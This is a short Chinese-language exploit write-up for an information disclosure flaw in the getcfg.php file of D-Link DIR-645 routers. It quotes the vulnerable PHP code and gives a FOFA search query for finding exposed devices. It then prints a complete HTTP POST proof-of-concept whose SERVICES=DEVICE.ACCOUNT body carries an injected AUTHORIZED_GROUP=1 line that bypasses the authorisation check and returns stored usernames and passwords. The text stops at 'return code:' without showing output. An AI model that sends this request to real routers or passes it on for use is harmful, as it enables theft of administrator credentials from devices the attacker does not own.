一、 D-Link DIR-645 getcfg.php 文件由于过滤不严格导致信息泄露漏洞。
$SERVICE_COUNT = cut_count($_POST["SERVICES"], ",");
TRACE_debug("GETCFG: got ".$SERVICE_COUNT." service(s): ".$_POST["SERVICES"]);
$SERVICE_INDEX = 0;
while ($SERVICE_INDEX < $SERVICE_COUNT)
{
$GETCFG_SVC = cut($_POST["SERVICES"], $SERVICE_INDEX, ",");
TRACE_debug("GETCFG: serivce[".$SERVICE_INDEX."] = ".$GETCFG_SVC);
if ($GETCFG_SVC!="")
{
$file = "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php";
/* GETCFG_SVC will be passed to the child process. */
if (isfile($file)=="1") dophp("load", $file);
}
$SERVICE_INDEX++;
}
可以看到 $GETCFG_SVC 没有任何过滤直接获取了 POST 传递过来的SERVICES的值。如果$GETCFG_SVC不为空，则进行文件读取。可以读取存储此设备信息的DEVICE.ACCOUNT .xml .php等文件。
二、漏洞复现：
测绘fofa搜索：app="D_Link-DIR-868L"
使用poc访问漏洞页面即可获取到账号密码
POST /getcfg.php HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Content-Length: 70
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
DNT: 1
Upgrade-Insecure-Requests: 1
SERVICES=DEVICE.ACCOUNT&attack=ture%0D%0AAUTHORIZED_GROUP%3D1
(SERVICES=DEVICE.ACCOUNT&attack=ture
AUTHORIZED_GROUP=1)
返回代码：
